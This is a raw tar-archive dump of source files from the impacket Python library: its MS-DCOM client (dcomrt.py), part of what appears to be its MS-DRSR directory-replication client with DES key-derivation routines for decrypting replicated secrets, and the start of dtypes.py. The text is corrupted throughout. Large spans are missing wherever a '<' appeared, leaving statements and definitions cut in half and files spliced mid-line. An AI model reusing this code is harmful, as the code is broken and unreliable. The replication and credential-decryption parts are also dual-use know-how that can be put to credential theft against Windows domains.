impacket-0.9.15/impacket/dcerpc/v5/dcomrt.py0000600000076500000000000020220712734531507020705 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-DCOM] Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # ToDo: # [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine # for each call, making it slower. # # [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if # not used, returning RPC_E_DISCONNECTED # import socket from struct import pack from threading import Timer, currentThread from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ UUID, WIDESTR, NULL from impacket import hresult_errors, LOG from impacket.uuid import string_to_bin, uuidtup_to_bin, generate from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \ RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException from impacket.dcerpc.v5 import transport CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046') CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046') CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046') CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046') CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046') CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046') CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046') CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046') CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046') CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046') CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046') CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046') CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046') CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046') CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046') IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0')) IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0')) IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0')) IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0')) IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0')) IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0')) IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0')) IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0')) IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.1 OID OID = ULONGLONG class OID_ARRAY(NDRUniConformantArray): item = OID class POID_ARRAY(NDRPOINTER): referent = ( ('Data', OID_ARRAY), ) # 2.2.2 SETID SETID = ULONGLONG # 2.2.4 error_status_t error_status_t = ULONG # 2.2.6 CID CID = GUID # 2.2.7 CLSID CLSID = GUID # 2.2.8 IID IID = GUID PIID = PGUID # 2.2.9 IPID IPID = GUID # 2.2.10 OXID OXID = ULONGLONG # 2.2.18 OBJREF FLAGS_OBJREF_STANDARD = 0x00000001 FLAGS_OBJREF_HANDLER = 0x00000002 FLAGS_OBJREF_CUSTOM = 0x00000004 FLAGS_OBJREF_EXTENDED = 0x00000008 # 2.2.18.1 STDOBJREF SORF_NOPING = 0x00001000 # 2.2.20 Context CTXMSHLFLAGS_BYVAL = 0x00000002 # 2.2.20.1 PROPMARSHALHEADER CPFLAG_PROPAGATE = 0x00000001 CPFLAG_EXPOSE = 0x00000002 CPFLAG_ENVOY = 0x00000004 # 2.2.22.2.1 InstantiationInfoData ACTVFLAGS_DISABLE_AAA = 0x00000002 ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004 ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008 ACTVFLAGS_NO_FAILURE_LOG = 0x00000020 # 2.2.22.2.2 SpecialPropertiesData SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001 # 2.2.28.1 IDL Range Constants MAX_REQUESTED_INTERFACES = 0x8000 MAX_REQUESTED_PROTSEQS = 0x8000 MIN_ACTPROP_LIMIT = 1 MAX_ACTPROP_LIMIT = 10 ################################################################################ # STRUCTURES ################################################################################ class handle_t(NDRSTRUCT): structure = ( ('context_handle_attributes',ULONG), ('context_handle_uuid',UUID), ) def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) self['context_handle_uuid'] = '\x00'*20 # 2.2.11 COMVERSION class COMVERSION(NDRSTRUCT): structure = ( ('MajorVersion',USHORT), ('MinorVersion',USHORT), ) def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) if data is None: self['MajorVersion'] = 5 self['MinorVersion'] = 7 class PCOMVERSION(NDRPOINTER): referent = ( ('Data', COMVERSION), ) # 2.2.13.1 ORPC_EXTENT # This MUST contain an array of bytes that form the extent data. # The array size MUST be a multiple of 8 for alignment reasons. class BYTE_ARRAY(NDRUniConformantArray): item = 'c' class ORPC_EXTENT(NDRSTRUCT): structure = ( ('id',GUID), ('size',ULONG), ('data',BYTE_ARRAY), ) # 2.2.13.2 ORPC_EXTENT_ARRAY # ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons. class PORPC_EXTENT(NDRPOINTER): referent = ( ('Data', ORPC_EXTENT), ) class EXTENT_ARRAY(NDRUniConformantArray): item = PORPC_EXTENT class PEXTENT_ARRAY(NDRPOINTER): referent = ( ('Data', EXTENT_ARRAY), ) class ORPC_EXTENT_ARRAY(NDRSTRUCT): structure = ( ('size',ULONG), ('reserved',ULONG), ('extent',PEXTENT_ARRAY), ) class PORPC_EXTENT_ARRAY(NDRPOINTER): referent = ( ('Data', ORPC_EXTENT_ARRAY), ) # 2.2.13.3 ORPCTHIS class ORPCTHIS(NDRSTRUCT): structure = ( ('version',COMVERSION), ('flags',ULONG), ('reserved1',ULONG), ('cid',CID), ('extensions',PORPC_EXTENT_ARRAY), ) # 2.2.13.4 ORPCTHAT class ORPCTHAT(NDRSTRUCT): structure = ( ('flags',ULONG), ('extensions',PORPC_EXTENT_ARRAY), ) # 2.2.14 MInterfacePointer class MInterfacePointer(NDRSTRUCT): structure = ( ('ulCntData',ULONG), ('abData',BYTE_ARRAY), ) # 2.2.15 PMInterfacePointerInternal class PMInterfacePointerInternal(NDRPOINTER): referent = ( ('Data', MInterfacePointer), ) # 2.2.16 PMInterfacePointer class PMInterfacePointer(NDRPOINTER): referent = ( ('Data', MInterfacePointer), ) class PPMInterfacePointer(NDRPOINTER): referent = ( ('Data', PMInterfacePointer), ) # 2.2.18 OBJREF class OBJREF(NDRSTRUCT): commonHdr = ( ('signature',ULONG), ('flags',ULONG), ('iid',GUID), ) def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) if data is None: self['signature'] = 0x574F454D # 2.2.18.1 STDOBJREF class STDOBJREF(NDRSTRUCT): structure = ( ('flags',ULONG), ('cPublicRefs',ULONG), ('oxid',OXID), ('oid',OID), ('ipid',IPID), ) # 2.2.18.4 OBJREF_STANDARD class OBJREF_STANDARD(OBJREF): structure = ( ('std',STDOBJREF), ('saResAddr',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_STANDARD # 2.2.18.5 OBJREF_HANDLER class OBJREF_HANDLER(OBJREF): structure = ( ('std',STDOBJREF), ('clsid',CLSID), ('saResAddr',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_HANDLER # 2.2.18.6 OBJREF_CUSTOM class OBJREF_CUSTOM(OBJREF): structure = ( ('clsid',CLSID), ('cbExtension',ULONG), ('ObjectReferenceSize',ULONG), ('pObjectData',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_CUSTOM # 2.2.18.8 DATAELEMENT class DATAELEMENT(NDRSTRUCT): structure = ( ('dataID',GUID), ('cbSize',ULONG), ('cbRounded',ULONG), ('Data',':'), ) class DUALSTRINGARRAYPACKED(NDRSTRUCT): structure = ( ('wNumEntries',USHORT), ('wSecurityOffset',USHORT), ('aStringArray',':'), ) def getDataLen(self, data): return self['wNumEntries']*2 # 2.2.18.7 OBJREF_EXTENDED class OBJREF_EXTENDED(OBJREF): structure = ( ('std',STDOBJREF), ('Signature1',ULONG), ('saResAddr',DUALSTRINGARRAYPACKED), ('nElms',ULONG), ('Signature2',ULONG), ('ElmArray',DATAELEMENT), ) def __init__(self, data = None, isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_EXTENDED self['Signature1'] = 0x4E535956 self['Signature1'] = 0x4E535956 self['nElms'] = 0x4E535956 # 2.2.19 DUALSTRINGARRAY class USHORT_ARRAY(NDRUniConformantArray): item = ' 0 or len(deletedOids) > 0: if DCOMConnection.OID_SET[target].has_key('setid'): setId = DCOMConnection.OID_SET[target]['setid'] else: setId = 0 resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids) DCOMConnection.OID_SET[target]['oids'] -= deletedOids DCOMConnection.OID_SET[target]['oids'] |= addedOids DCOMConnection.OID_SET[target]['setid'] = resp['pSetId'] else: objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid']) except Exception, e: # There might be exceptions when sending packets # We should try to continue tho. LOG.error(str(e)) pass DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer) try: DCOMConnection.PINGTIMER.start() except Exception, e: if str(e).find('threads can only be started once') < 0: raise e def initTimer(self): if self.__oxidResolver is True: if DCOMConnection.PINGTIMER is None: DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer) try: DCOMConnection.PINGTIMER.start() except Exception, e: if str(e).find('threads can only be started once') < 0: raise e def initConnection(self): stringBinding = r'ncacn_ip_tcp:%s' % self.__target rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__portmap = rpctransport.get_dce_rpc() self.__portmap.set_auth_level(self.__authLevel) if self.__doKerberos is True: self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__portmap.connect() DCOMConnection.PORTMAPS[self.__target] = self.__portmap def CoCreateInstanceEx(self, clsid, iid): scm = IRemoteSCMActivator(self.__portmap) iInterface = scm.RemoteCreateInstance(clsid, iid) self.initTimer() return iInterface def get_dce_rpc(self): return DCOMConnection.PORTMAPS[self.__target] def disconnect(self): if DCOMConnection.PINGTIMER is not None: del(DCOMConnection.PORTMAPS[self.__target]) del(DCOMConnection.OID_SET[self.__target]) if len(DCOMConnection.PORTMAPS) == 0: # This means there are no more clients using this object, kill it DCOMConnection.PINGTIMER.cancel() DCOMConnection.PINGTIMER.join() DCOMConnection.PINGTIMER = None if INTERFACE.CONNECTIONS.has_key(self.__target): del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) self.__portmap.disconnect() #print INTERFACE.CONNECTIONS class CLASS_INSTANCE: def __init__(self, ORPCthis, stringBinding): self.__stringBindings = stringBinding self.__ORPCthis = ORPCthis self.__authType = RPC_C_AUTHN_WINNT self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY def get_ORPCthis(self): return self.__ORPCthis def get_string_bindings(self): return self.__stringBindings def get_auth_level(self): if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: if self.__authType == RPC_C_AUTHN_WINNT: return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY else: return RPC_C_AUTHN_LEVEL_PKT_PRIVACY return self.__authLevel def set_auth_level(self, level): self.__authLevel = level def get_auth_type(self): return self.__authType def set_auth_type(self, authType): self.__authType = authType class INTERFACE: # class variable holding the transport connections, organized by target IP CONNECTIONS = {} def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None, interfaceInstance=None): if interfaceInstance is not None: self.__target = interfaceInstance.get_target() self.__iPid = interfaceInstance.get_iPid() self.__oid = interfaceInstance.get_oid() self.__oxid = interfaceInstance.get_oxid() self.__cinstance = interfaceInstance.get_cinstance() self.__objRef = interfaceInstance.get_objRef() self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown() else: if target is None: raise self.__target = target self.__iPid = iPid self.__oid = oid self.__oxid = oxid self.__cinstance = cinstance self.__objRef = objRef self.__ipidRemUnknown = ipidRemUnknown # We gotta check if we have a container inside our connection list, if not, create if INTERFACE.CONNECTIONS.has_key(self.__target) is not True: INTERFACE.CONNECTIONS[self.__target] = {} INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} if objRef is not None: self.process_interface(objRef) def process_interface(self, data): objRefType = OBJREF(data)['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(data) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(data) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(data) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(data) else: LOG.error("Unknown OBJREF Type! 0x%x" % objRefType) if objRefType != FLAGS_OBJREF_CUSTOM: if objRef['std']['flags'] & SORF_NOPING == 0: DCOMConnection.addOid(self.__target, objRef['std']['oid']) self.__iPid = objRef['std']['ipid'] self.__oid = objRef['std']['oid'] self.__oxid = objRef['std']['oxid'] if self.__oxid is None: objRef.dump() raise def get_oxid(self): return self.__oxid def set_oxid(self, oxid): self.__oxid = oxid def get_oid(self): return self.__oid def set_oid(self, oid): self.__oid = oid def get_target(self): return self.__target def get_iPid(self): return self.__iPid def set_iPid(self, iPid): self.__iPid = iPid def get_objRef(self): return self.__objRef def set_objRef(self, objRef): self.__objRef = objRef def get_ipidRemUnknown(self): return self.__ipidRemUnknown def get_dce_rpc(self): return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] def get_cinstance(self): return self.__cinstance def set_cinstance(self, cinstance): self.__cinstance = cinstance def is_fdqn(self): # I will assume the following # If I can't socket.inet_aton() then it's not an IPv4 address # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be # an FQDN with ':' # Is it isn't both, then it is a FDQN try: socket.inet_aton(self.__target) except: # Not an IPv4 try: self.__target.index(':') except: # Not an IPv6, it's a FDQN return True return False def connect(self, iid = None): if INTERFACE.CONNECTIONS.has_key(self.__target) is True: if INTERFACE.CONNECTIONS[self.__target].has_key(currentThread().getName()) and \ INTERFACE.CONNECTIONS[self.__target][currentThread().getName()].has_key(self.__oxid) is True: dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] if currentBinding == iid: # We don't need to alter_ctx pass else: newDce = dce.alter_ctx(iid) INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid else: stringBindings = self.get_cinstance().get_string_bindings() # No OXID present, we should create a new connection and store it stringBinding = None isTargetFDQN = self.is_fdqn() LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN)) for strBinding in stringBindings: # Here, depending on the get_target() value several things can happen # 1) it's an IPv4 address # 2) it's an IPv6 address # 3) it's a NetBios Name # we should handle all this cases accordingly # Does this match exactly what get_target() returns? LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr']) if strBinding['wTowerId'] == 7: # If there's port information, let's strip it for now. if strBinding['aNetworkAddr'].find('[') >= 0: binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') bindingPort = '[' + bindingPort else: binding = strBinding['aNetworkAddr'] bindingPort = '' if binding.upper().find(self.get_target().upper()) >= 0: stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] break # If get_target() is a FQDN, does it match the hostname? elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: # Here we replace the aNetworkAddr with self.get_target() # This is to help resolving the target system name. # self.get_target() has been resolved already otherwise we wouldn't be here whereas # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver # with the right suffixes it will probably not resolve right. stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort) break LOG.debug('StringBinding chosen: %s' % stringBinding) if stringBinding is None: # Something wen't wrong, let's just report it raise Exception('Can\'t find a valid stringBinding to connect') dcomInterface = transport.DCERPCTransportFactory(stringBinding) if hasattr(dcomInterface, 'set_credentials'): # This method exists only for selected protocol sequences. dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) dcomInterface.set_connect_timeout(300) dce = dcomInterface.get_dce_rpc() if iid is None: raise else: dce.set_auth_level(self.__cinstance.get_auth_level()) dce.set_auth_type(self.__cinstance.get_auth_type()) dce.connect() if iid is None: raise else: dce.bind(iid) if self.__oxid is None: #import traceback #print traceback.print_stack() LOG.critical("OXID NONE, something wrong!!!") raise INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {} INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid else: # No connection created raise def request(self, req, iid = None, uuid = None): req['ORPCthis'] = self.get_cinstance().get_ORPCthis() req['ORPCthis']['flags'] = 0 self.connect(iid) dce = self.get_dce_rpc() try: resp = dce.request(req, uuid) except Exception, e: if str(e).find('RPC_E_DISCONNECTED') >= 0: msg = str(e) + '\n' msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n" msg += "You should exit the app and start again\n" raise DCERPCException(msg) else: raise return resp def disconnect(self): return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect() # 3.1.1.5.6.1 IRemUnknown Methods class IRemUnknown(INTERFACE): def __init__(self, interface): self._iid = IID_IRemUnknown #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(), # interface.get_iPid(), target=interface.get_target()) INTERFACE.__init__(self, interfaceInstance=interface) self.set_oxid(interface.get_oxid()) def RemQueryInterface(self, cRefs, iids): # For now, it only supports a single IID request = RemQueryInterface() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['ripid'] = self.get_iPid() request['cRefs'] = cRefs request['cIids'] = len(iids) for iid in iids: _iid = IID() _iid['Data'] = iid request['iids'].append(_iid) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) #resp.dump() return IRemUnknown2( INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'], oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'], target=self.get_target())) def RemAddRef(self): request = RemAddRef() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['cInterfaceRefs'] = 1 element = REMINTERFACEREF() element['ipid'] = self.get_iPid() element['cPublicRefs'] = 1 request['InterfaceRefs'].append(element) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) return resp def RemRelease(self): request = RemRelease() request['ORPCthis'] = self.get_cinstance().get_ORPCthis() request['ORPCthis']['flags'] = 0 request['cInterfaceRefs'] = 1 element = REMINTERFACEREF() element['ipid'] = self.get_iPid() element['cPublicRefs'] = 1 request['InterfaceRefs'].append(element) resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) DCOMConnection.delOid(self.get_target(), self.get_oid()) return resp # 3.1.1.5.7 IRemUnknown2 Interface class IRemUnknown2(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self, interface) self._iid = IID_IRemUnknown2 # 3.1.2.5.1 IObjectExporter Methods class IObjectExporter: def __init__(self, dce): self.__portmap = dce # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0) def ResolveOxid(self, pOxid, arRequestedProtseqs): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ResolveOxid() request['pOxid'] = pOxid request['cRequestedProtseqs'] = len(arRequestedProtseqs) for protSeq in arRequestedProtseqs: request['arRequestedProtseqs'].append(protSeq) resp = self.__portmap.request(request) Oxids = ''.join(pack(' 0: for oid in addToSet: oidn = OID() oidn['Data'] = oid request['AddToSet'].append(oidn) else: request['AddToSet'] = NULL if len(delFromSet) > 0: for oid in delFromSet: oidn = OID() oidn['Data'] = oid request['DelFromSet'].append(oidn) else: request['DelFromSet'] = NULL resp = self.__portmap.request(request) return resp # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3) def ServerAlive(self): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ServerAlive() resp = self.__portmap.request(request) return resp # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4) def ResolveOxid2(self,pOxid, arRequestedProtseqs): self.__portmap.connect() self.__portmap.bind(IID_IObjectExporter) request = ResolveOxid2() request['pOxid'] = pOxid request['cRequestedProtseqs'] = len(arRequestedProtseqs) for protSeq in arRequestedProtseqs: request['arRequestedProtseqs'].append(protSeq) resp = self.__portmap.request(request) Oxids = ''.join(pack('. # There are test cases for them too. # import hashlib from struct import pack from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER from impacket import hresult_errors, system_errors from impacket.structure import Structure from impacket.uuid import uuidtup_to_bin, string_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.krb5 import crypto from pyasn1.type import univ from pyasn1.codec.ber import decoder try: from Crypto.Cipher import ARC4, DES except Exception: LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto") LOG.critical("See http://www.pycrypto.org/") MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if hresult_errors.ERROR_MESSAGES.has_key(key): error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff): error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1] return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 4.1.10.2.17 EXOP_ERR Codes class EXOP_ERR(NDRENUM): align = 4 align64 = 4 structure = ( ('Data', '> 0x01) ) OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return "".join(OutputKey) def deriveKey(baseKey): # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key # Let I be the little-endian, unsigned integer. # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. # Note that because I is in little-endian byte order, I[0] is the least significant byte. # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] key = pack('= 16384: # mark it so that it is known to not be the whole lastValue lowerWord += 32768 upperWord = pos attrTyp = ATTRTYP() attrTyp['Data'] = (upperWord << 16) + lowerWord return attrTyp def OidFromAttid(prefixTable, attr): # separate the ATTRTYP into two parts upperWord = attr / 65536 lowerWord = attr % 65536 # search in the prefix table to find the upperWord, if found, # construct the binary OID by appending lowerWord to the end of # found prefix. binaryOID = None for j, item in enumerate(prefixTable): if item['ndx'] == upperWord: binaryOID = item['prefix']['elements'][:item['prefix']['length']] if lowerWord < 128: binaryOID.append(chr(lowerWord)) else: if lowerWord >= 32768: lowerWord -= 32768 binaryOID.append(chr(((lowerWord/128) % 128)+128)) binaryOID.append(chr(lowerWord%128)) break if binaryOID is None: return None return str(decoder.decode('\x06' + chr(len(binaryOID)) + ''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0]) if __name__ == '__main__': prefixTable = [] oid0 = '1.2.840.113556.1.4.94' oid1 = '2.5.6.2' oid2 = '1.2.840.113556.1.2.1' oid3 = '1.2.840.113556.1.3.223' oid4 = '1.2.840.113556.1.5.7000.53' o0 = MakeAttid(prefixTable, oid0) print hex(o0) o1 = MakeAttid(prefixTable, oid1) print hex(o1) o2 = MakeAttid(prefixTable, oid2) print hex(o2) o3 = MakeAttid(prefixTable, oid3) print hex(o3) o4 = MakeAttid(prefixTable, oid4) print hex(o4) jj = OidFromAttid(prefixTable, o0) print jj jj = OidFromAttid(prefixTable, o1) print jj jj = OidFromAttid(prefixTable, o2) print jj jj = OidFromAttid(prefixTable, o3) print jj jj = OidFromAttid(prefixTable, o4) print jj impacket-0.9.15/impacket/dcerpc/v5/dtypes.py0000600000076500000000000003015112734531507020722 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-DTYP] Interface mini implementation # from struct import pack from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL DWORD = NDRULONG BOOL = NDRULONG UCHAR = NDRUSMALL SHORT = NDRSHORT NULL = NULL class LPDWORD(NDRPOINTER): referent = ( ('Data', DWORD), ) class PSHORT(NDRPOINTER): referent = ( ('Data', SHORT), ) class PBOOL(NDRPOINTER): referent = ( ('Data', BOOL), ) class LPBYTE(NDRPOINTER): referent = ( ('Data', NDRUniConformantArray), ) PBYTE = LPBYTE # 2.2.4 BOOLEAN BOOLEAN = NDRBOOLEAN # 2.2.6 BYTE BYTE = NDRUSMALL # 2.2.7 CHAR CHAR = NDRSMALL class 